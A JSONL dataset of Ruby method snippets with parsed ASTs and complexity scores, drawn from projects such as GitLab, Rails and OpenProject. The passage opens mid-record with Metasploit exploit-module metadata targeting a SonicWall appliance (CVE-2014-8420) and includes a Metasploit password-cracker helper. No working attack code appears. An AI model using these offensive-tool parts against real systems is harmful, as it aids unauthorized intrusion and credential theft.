Flanders\"]},{\"type\":\"str\",\"children\":[\"kernelsmith\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-8420\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.digitaldefense.com/digital-defense/vrt-discoveries/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://slides.com/kernelsmith/bsidesaustin2018/#/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"SonicWall Global Management System Virtual Appliance\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"&\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RequiredCmd\"]},{\"type\":\"str\",\"children\":[\"generic bash telnet\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-07-22\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WEB_SERVER_PORT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Port of web console login page.\\n\"]},{\"type\":\"str\",\"children\":[\"                                             Defaults to 80/443 depending on SSL.\"]}]}]}]}]}]}]}]}","id":"ad891a33-dcbf-49ab-8fd9-9ff515119927"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/provider.rb","start_line":120,"raw_source":"def format_messages(messages)\n      messages.map do |msg|\n        {\n          role: msg.role.to_s,\n          content: msg.content\n        }\n      end\n    end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"format_messages\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"messages\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"messages\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"role\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},\"content\"]}]}]}]}]}","id":"78dd34ad-0942-4f4b-8d24-6fb24a9f130d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_package_types/pattern_input.rb","start_line":47,"raw_source":"def suggestions_for_stimulus\n      @suggestions_for_stimulus ||= @suggestions.to_json\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"suggestions_for_stimulus\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@suggestions_for_stimulus\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@suggestions\"]},\"to_json\"]}]}]}","id":"5ae81943-2487-4e9e-880b-e57351730efc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/password_cracker.rb","start_line":190,"raw_source":"def process_cracker_results(results, cred)\n      return results if cred['core_id'].nil? # make sure we have good data\n\n      # make sure we dont add the same one again\n      if results.select { |r| r.first == cred['core_id'] }.empty?\n        results << [cred['core_id'], cred['hash_type'], cred['username'], cred['password'], cred['method']]\n      end\n\n      create_cracked_credential(username: cred['username'], password: cred['password'], core_id: cred['core_id'])\n      results\n    end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"process_cracker_results\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"results\"]},{\"type\":\"arg\",\"children\":[\"cred\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"str\",\"children\":[\"core_id\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"first\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"str\",\"children\":[\"core_id\"]}]}]}]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"str\",\"children\":[\"core_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"str\",\"children\":[\"hash_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"str\",\"children\":[\"method\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"create_cracked_credential\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"core_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"str\",\"children\":[\"core_id\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}","id":"0c936709-5bea-491c-98ad-76f28555b192"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/group.rb","start_line":717,"raw_source":"def add_guest(user, current_user = nil)\n    add_member(user, :guest, current_user: current_user)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_guest\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"add_member\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"guest\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]}]}]}]}","id":"14ac160c-6eaa-4b21-8dac-93c1b15e2a02"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/project_search_results.rb","start_line":135,"raw_source":"def notes_finder(type)\n      note_finder = NotesFinder.new(@current_user, search: query, target_type: type, project: project)\n      note_finder.execute.user.order(updated_at: :desc)\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"notes_finder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"note_finder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotesFinder\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"search\"]},{\"type\":\"send\",\"children\":[null,\"query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note_finder\"]},\"execute\"]},\"user\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]}]}]}","id":"faeb7768-3d48-46be-a1b3-2f65c33d7780"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/search_results.rb","start_line":234,"raw_source":"def filter_milestones_by_project(milestones)\n      candidate_project_ids = project_ids_relation\n\n      candidate_project_ids = candidate_project_ids.non_archived unless filters[:include_archived]\n\n      project_ids = milestones.of_projects(candidate_project_ids).select(:project_id).distinct.pluck(:project_id) # rubocop: disable CodeReuse/ActiveRecord\n\n      return Milestone.none if project_ids.nil?\n\n      authorized_project_ids_relation = Project.id_in(project_ids).ids_with_issuables_available_for(current_user)\n\n      milestones.of_projects(authorized_project_ids_relation)\n    end","complexity_score":22.1,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_milestones_by_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"milestones\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"candidate_project_ids\",{\"type\":\"send\",\"children\":[null,\"project_ids_relation\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include_archived\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"candidate_project_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"candidate_project_ids\"]},\"non_archived\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestones\"]},\"of_projects\",{\"type\":\"lvar\",\"children\":[\"candidate_project_ids\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},\"distinct\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ids\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Milestone\"]},\"none\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"authorized_project_ids_relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"id_in\",{\"type\":\"lvar\",\"children\":[\"project_ids\"]}]},\"ids_with_issuables_available_for\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"milestones\"]},\"of_projects\",{\"type\":\"lvar\",\"children\":[\"authorized_project_ids_relation\"]}]}]}]}","id":"f2ff2b27-4fa8-4712-9183-9537ff800e89"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/custom_emoji.rb","start_line":62,"raw_source":"def valid_emoji_name\n    if TanukiEmoji.find_by_alpha_code(name)\n      errors.add(:name, _('%{name} is already being used for another emoji') % { name: self.name })\n    end\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_emoji_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TanukiEmoji\"]},\"find_by_alpha_code\",{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"%{name} is already being used for another emoji\"]}]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]}]},null]}]}","id":"c0f40c20-840f-4715-82d6-91d16b0c3867"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":469,"raw_source":"def test_using_query_constraints_warns_about_changing_behavior\n    has_many_expected_message = <<~MSG.squish\n      Setting `query_constraints:` option on `Sharded::BlogPost.has_many :qc_deprecated_comments` is not allowed.\n      To get the same behavior, use the `foreign_key` option instead.\n    MSG\n\n    assert_raises(ActiveRecord::ConfigurationError, match: has_many_expected_message) do\n      Sharded::BlogPost.has_many :qc_deprecated_comments,\n        class_name: \"Sharded::Comment\", query_constraints: [:blog_id, :blog_post_id]\n    end\n\n    belongs_to_expected_message = <<~MSG.squish\n      Setting `query_constraints:` option on `Sharded::Comment.belongs_to :qc_deprecated_blog_post` is not allowed.\n      To get the same behavior, use the `foreign_key` option instead.\n    MSG\n\n    assert_raises(ActiveRecord::ConfigurationError, match: belongs_to_expected_message) do\n      Sharded::Comment.belongs_to :qc_deprecated_blog_post,\n        class_name: \"Sharded::Blog\", query_constraints: [:blog_id, :blog_post_id]\n    end\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_using_query_constraints_warns_about_changing_behavior\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"has_many_expected_message\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Setting `query_constraints:` option on `Sharded::BlogPost.has_many :qc_deprecated_comments` is not allowed.\\n\"]},{\"type\":\"str\",\"children\":[\"To get the same behavior, use the `foreign_key` option instead.\\n\"]}]},\"squish\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConfigurationError\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"lvar\",\"children\":[\"has_many_expected_message\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sharded\"]},\"BlogPost\"]},\"has_many\",{\"type\":\"sym\",\"children\":[\"qc_deprecated_comments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"Sharded::Comment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query_constraints\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"blog_id\"]},{\"type\":\"sym\",\"children\":[\"blog_post_id\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"belongs_to_expected_message\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Setting `query_constraints:` option on `Sharded::Comment.belongs_to :qc_deprecated_blog_post` is not allowed.\\n\"]},{\"type\":\"str\",\"children\":[\"To get the same behavior, use the `foreign_key` option instead.\\n\"]}]},\"squish\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ConfigurationError\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match\"]},{\"type\":\"lvar\",\"children\":[\"belongs_to_expected_message\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sharded\"]},\"Comment\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"qc_deprecated_blog_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"Sharded::Blog\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query_constraints\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"blog_id\"]},{\"type\":\"sym\",\"children\":[\"blog_post_id\"]}]}]}]}]}]}]}]}","id":"337ec0ba-ff88-48df-8778-1eab39db35b5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/type/attributes.rb","start_line":182,"raw_source":"def work_package_attributes(merge_date: true)\n    all_attributes = self.class.all_work_package_form_attributes(merge_date:)\n\n    # Reject those attributes that are not available for this type.\n    all_attributes.select { |key, _| passes_attribute_constraint? key }\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"merge_date\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"all_work_package_form_attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_date\"]},{\"type\":\"lvar\",\"children\":[\"merge_date\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_attributes\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[null,\"passes_attribute_constraint?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"a5b4d5bd-387d-4e42-8ed3-e7164a8ac778"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/google_drive/client.rb","start_line":258,"raw_source":"def extract_summary_fields(invoice, results)\n        document = results[0].expense_documents[0]\n        (invoice.keys & TEXTRACT_SUMMARY_FIELDS.keys).each do |key|\n          invoice[key] = extract_field_value(document.summary_fields, TEXTRACT_SUMMARY_FIELDS[key])\n        end\n        invoice\n      end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_summary_fields\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"invoice\"]},{\"type\":\"arg\",\"children\":[\"results\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"document\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"expense_documents\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invoice\"]},\"keys\"]},\"&\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TEXTRACT_SUMMARY_FIELDS\"]},\"keys\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invoice\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"extract_field_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"document\"]},\"summary_fields\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TEXTRACT_SUMMARY_FIELDS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"invoice\"]}]}]}","id":"b1395dac-f8d5-4902-977d-6a6b8608620e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/column.rb","start_line":68,"raw_source":"def ==(other)\n          other.is_a?(Column) &&\n            super &&\n            identity? == other.identity? &&\n            serial? == other.serial?\n        end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"==\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Column\"]}]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identity?\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"identity?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"serial?\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"serial?\"]}]}]}]}","id":"d06b16a2-81a1-4be0-8454-5c247bb504c6"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/reaction.rb","start_line":84,"raw_source":"def cached_any_reactions_for?(reactable, user, category)\n      class_name = reactable.instance_of?(ArticleDecorator) ? \"Article\" : reactable.class.name\n      cache_name = \"any_reactions_for-#{class_name}-#{reactable.id}-\" \\\n                   \"#{user.reactions_count}-#{user.public_reactions_count}-#{category}\"\n      Rails.cache.fetch(cache_name, expires_in: 24.hours) do\n        Reaction.where(reactable_id: reactable.id, reactable_type: class_name, user: user, category: category).any?\n      end\n    end","complexity_score":18.05,"ast_json":"{\"type\":\"def\",\"children\":[\"cached_any_reactions_for?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reactable\"]},{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"class_name\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reactable\"]},\"instance_of?\",{\"type\":\"const\",\"children\":[null,\"ArticleDecorator\"]}]},{\"type\":\"str\",\"children\":[\"Article\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reactable\"]},\"class\"]},\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cache_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"any_reactions_for-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_name\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reactable\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"reactions_count\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"public_reactions_count\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"cache_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[24]},\"hours\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reaction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reactable\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reactable_type\"]},{\"type\":\"lvar\",\"children\":[\"class_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"category\"]}]}]}]},\"any?\"]}]}]}]}","id":"ecd26b0a-89c9-4677-a904-1809bd786f9b"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/workers/meetings/pdf/minutes/styles.rb","start_line":46,"raw_source":"def styles\n    @styles ||= PDFStyles.new(styles_asset_path)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"styles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@styles\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PDFStyles\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"styles_asset_path\"]}]}]}]}","id":"203e221d-2d46-424d-b87e-475a635a558a"}
